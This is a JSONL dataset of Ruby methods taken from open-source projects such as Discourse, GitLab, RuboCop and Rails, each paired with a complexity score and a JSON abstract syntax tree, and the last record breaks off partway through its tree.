{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/serializers/ai_topic_summary_serializer.rb","start_line":15,"raw_source":"def new_posts_since_summary\n    object.target.highest_post_number.to_i - object.highest_target_number.to_i\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_posts_since_summary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"target\"]},\"highest_post_number\"]},\"to_i\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"highest_target_number\"]},\"to_i\"]}]}]}","id":"4849d761-8cf1-48fd-bdc4-d4d07e489d29"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/project_setting_spec.rb","start_line":245,"raw_source":"def valid_target_platform_combinations\n    target_platforms = described_class::ALLOWED_TARGET_PLATFORMS\n\n    0.upto(target_platforms.size).flat_map do |n|\n      target_platforms.permutation(n).to_a\n    end\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_target_platform_combinations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_platforms\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"ALLOWED_TARGET_PLATFORMS\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[0]},\"upto\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_platforms\"]},\"size\"]}]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_platforms\"]},\"permutation\",{\"type\":\"lvar\",\"children\":[\"n\"]}]},\"to_a\"]}]}]}]}","id":"85b27e56-ce05-4bad-90e6-222ef82fecfe"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/literal_in_interpolation.rb","start_line":121,"raw_source":"def autocorrected_value_for_string(node)\n          if node.source.start_with?(\"'\", '%q')\n            node.children.last.inspect[1..-2]\n          else\n            node.children.last\n          end\n        end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrected_value_for_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"str\",\"children\":[\"%q\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"last\"]},\"inspect\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"last\"]}]}]}","id":"59afc850-8833-4d44-9a08-313264f0588f"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/nodebb/nodebb.rb","start_line":407,"raw_source":"def import_posts\n    puts \"\", \"importing posts...\"\n\n    post_count = @client.post_count\n\n    batches(BATCH_SIZE) do |offset|\n      posts = @client.posts(offset, BATCH_SIZE)\n\n      break if posts.size < 1\n\n      create_posts(posts, total: post_count, offset: offset) do |post|\n        # skip if it's merged_post\n        next if @merged_posts_map[post[\"pid\"]]\n\n        # skip if it's deleted\n        next if post[\"deleted\"] == \"1\"\n\n        raw = post[\"content\"]\n        post_id = \"p#{post[\"pid\"]}\"\n\n        next if raw.blank?\n        topic = topic_lookup_from_imported_post_id(\"t#{post[\"tid\"]}\")\n\n        unless topic\n          puts \"Topic with id #{post[\"tid\"]} not found, skipping\"\n          next\n        end\n\n        data = {\n          id: post_id,\n          user_id: user_id_from_imported_user_id(post[\"uid\"]) || Discourse::SYSTEM_USER_ID,\n          topic_id: topic[:topic_id],\n          raw: raw,\n          created_at: post[\"timestamp\"],\n          post_create_action:\n            proc do |p|\n              post[\"upvoted_by\"].each do |upvoter_id|\n                user = User.new\n                user.id = user_id_from_imported_user_id(upvoter_id) || Discourse::SYSTEM_USER_ID\n                PostActionCreator.like(user, p)\n              end\n            end,\n        }\n\n        if post[\"toPid\"]\n          # Look reply to topic\n          parent_id = topic_lookup_from_imported_post_id(\"t#{post[\"toPid\"]}\").try(:[], :post_number)\n\n          # Look reply post if topic is missing\n          parent_id ||=\n            topic_lookup_from_imported_post_id(\"p#{post[\"toPid\"]}\").try(:[], :post_number)\n\n          if parent_id\n            data[:reply_to_post_number] = parent_id\n          else\n            puts \"Post with id #{post[\"toPid\"]} not found for reply\"\n          end\n        end\n\n        data\n      end\n    end\n  end","complexity_score":90.65,"ast_json":"{\"type\":\"def\",\"children\":[\"import_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing posts...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"post_count\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"post_count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"posts\",{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_posts\",{\"type\":\"lvar\",\"children\":[\"posts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"post_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merged_posts_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pid\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"deleted\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"p\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pid\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tid\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Topic with id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tid\"]}]}]},{\"type\":\"str\",\"children\":[\" not found, skipping\"]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"post_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"uid\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"SYSTEM_USER_ID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_create_action\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"upvoted_by\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upvoter_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_user_id\",{\"type\":\"lvar\",\"children\":[\"upvoter_id\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"SYSTEM_USER_ID\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostActionCreator\"]},\"like\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"toPid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"toPid\"]}]}]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"post_number\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"p\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"toPid\"]}]}]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"post_number\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"reply_to_post_number\"]},{\"type\":\"lvar\",\"children\":[\"parent_id\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Post with id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"toPid\"]}]}]},{\"type\":\"str\",\"children\":[\" not found for reply\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}]}","id":"a9ff66cc-0a76-476b-b07b-9bea478a6df0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/integration_test.rb","start_line":47,"raw_source":"def test_to_param_class_method_truncates_after_parameterize_with_hyphens\n    firm = Firm.find(4)\n    firm.name = \"Door-to-Door Wash-n-Fold Service\"\n    #               123456789T123456789v\n    assert_equal \"4-door-to-door-wash-n\", firm.to_param\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_param_class_method_truncates_after_parameterize_with_hyphens\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"find\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"name=\",{\"type\":\"str\",\"children\":[\"Door-to-Door Wash-n-Fold Service\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"4-door-to-door-wash-n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"to_param\"]}]}]}]}","id":"99434a82-c63f-4c84-88a1-059c0b068870"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_out_copy.rb","start_line":137,"raw_source":"def test_msgpack_unpacker_cache_bug_for_msgpack_event_stream\n    d = create_driver\n\n    time = event_time(\"2011-01-02 13:14:15 UTC\")\n    source = Fluent::ArrayEventStream.new([ [time, {\"a\" => 1}], [time, {\"a\" => 2}] ])\n    es = Fluent::MessagePackEventStream.new(source.to_msgpack_stream)\n\n    d.run(default_tag: 'test') do\n      d.feed(es)\n    end\n\n    d.instance.outputs.each { |o|\n      assert_equal [ [time, {\"a\"=>1}], [time, {\"a\"=>2}] ], o.events\n    }\n  end","complexity_score":20.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_msgpack_unpacker_cache_bug_for_msgpack_event_stream\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\"]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"2011-01-02 13:14:15 UTC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ArrayEventStream\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"es\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"MessagePackEventStream\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"to_msgpack_stream\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_tag\"]},{\"type\":\"str\",\"children\":[\"test\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"feed\",{\"type\":\"lvar\",\"children\":[\"es\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"outputs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"events\"]}]}]}]}]}","id":"f3255833-3f23-4327-80b6-90800d8eec77"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/manageiq/reporting/formatter/chart_common.rb","start_line":179,"raw_source":"def keep_and_show_other\n          # Show other sum value by default\n          mri.graph.kind_of?(Hash) ? [mri.graph[:count].to_i, mri.graph[:other]] : [ReportController::Reports::Editor::GRAPH_MAX_COUNT, true]\n        end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"keep_and_show_other\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mri\"]},\"graph\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mri\"]},\"graph\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"count\"]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mri\"]},\"graph\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"other\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReportController\"]},\"Reports\"]},\"Editor\"]},\"GRAPH_MAX_COUNT\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"a8c8c84c-ccbd-4da0-9fe1-ded19aa28f1f"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_integration_single.rb","start_line":33,"raw_source":"def test_usr2_restart_restores_environment\n    # jruby has a bug where setting `nil` into the ENV or `delete` do not change the\n    # next workers ENV\n    skip_if :jruby\n    skip_unless_signal_exist? :USR2\n\n    initial_reply, new_reply = restart_server_and_listen(\"-q test/rackup/hello-env.ru\")\n\n    assert_includes initial_reply, \"Hello RAND\"\n    assert_includes new_reply, \"Hello RAND\"\n    refute_equal initial_reply, new_reply\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_usr2_restart_restores_environment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_if\",{\"type\":\"sym\",\"children\":[\"jruby\"]}]},{\"type\":\"send\",\"children\":[null,\"skip_unless_signal_exist?\",{\"type\":\"sym\",\"children\":[\"USR2\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"initial_reply\"]},{\"type\":\"lvasgn\",\"children\":[\"new_reply\"]}]},{\"type\":\"send\",\"children\":[null,\"restart_server_and_listen\",{\"type\":\"str\",\"children\":[\"-q test/rackup/hello-env.ru\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"initial_reply\"]},{\"type\":\"str\",\"children\":[\"Hello RAND\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"new_reply\"]},{\"type\":\"str\",\"children\":[\"Hello RAND\"]}]},{\"type\":\"send\",\"children\":[null,\"refute_equal\",{\"type\":\"lvar\",\"children\":[\"initial_reply\"]},{\"type\":\"lvar\",\"children\":[\"new_reply\"]}]}]}]}","id":"1df03c63-c2c0-4364-8a27-a770f07e79df"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/rescue_modifier.rb","start_line":52,"raw_source":"def on_resbody(node)\n          return unless rescue_modifier?(node)\n\n          rescue_node = node.parent\n          add_offense(rescue_node) do |corrector|\n            parenthesized = parenthesized?(rescue_node)\n\n            correct_rescue_block(corrector, rescue_node, parenthesized)\n            ParenthesesCorrector.correct(corrector, rescue_node.parent) if parenthesized\n          end\n        end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_resbody\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rescue_modifier?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"rescue_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"rescue_node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parenthesized\",{\"type\":\"send\",\"children\":[null,\"parenthesized?\",{\"type\":\"lvar\",\"children\":[\"rescue_node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"correct_rescue_block\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"rescue_node\"]},{\"type\":\"lvar\",\"children\":[\"parenthesized\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parenthesized\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParenthesesCorrector\"]},\"correct\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rescue_node\"]},\"parent\"]}]},null]}]}]}]}]}","id":"b6f5daa7-9d88-4ebb-bfad-efd68940315c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/personal_access_tokens_finder.rb","start_line":63,"raw_source":"def sort(tokens)\n    available_sort_orders = PersonalAccessToken.simple_sorts.keys\n\n    return tokens unless available_sort_orders.include?(params[:sort])\n\n    tokens.order_by(params[:sort])\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sort\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"available_sort_orders\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonalAccessToken\"]},\"simple_sorts\"]},\"keys\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_sort_orders\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"order_by\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]}]}]}","id":"d4e429e4-d247-41f2-a9bb-66092e4d321e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/validators.rb","start_line":195,"raw_source":"def validate_each(record, attribute, value)\n            unless value.is_a?(Hash) || validate_boolean(value)\n              record.errors.add(attribute, 'should be a hash or a boolean value')\n            end\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_boolean\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"str\",\"children\":[\"should be a hash or a boolean value\"]}]}]}]}","id":"2e60bba8-7066-4ce4-a01c-fb4ae87eee94"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/api/repository_storage_moves.rb","start_line":33,"raw_source":"def resource_equals?(resource, move)\n          if resource.class.name.include?('Snippet')\n            move[:snippet][:id] == resource.id\n          elsif resource.class.name.include?('Group')\n            move[:group][:id] == resource.id\n          else\n            move[:project][:path_with_namespace] == resource.path_with_namespace\n          end\n        end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_equals?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]},{\"type\":\"arg\",\"children\":[\"move\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"class\"]},\"name\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Snippet\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"move\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"snippet\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"class\"]},\"name\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"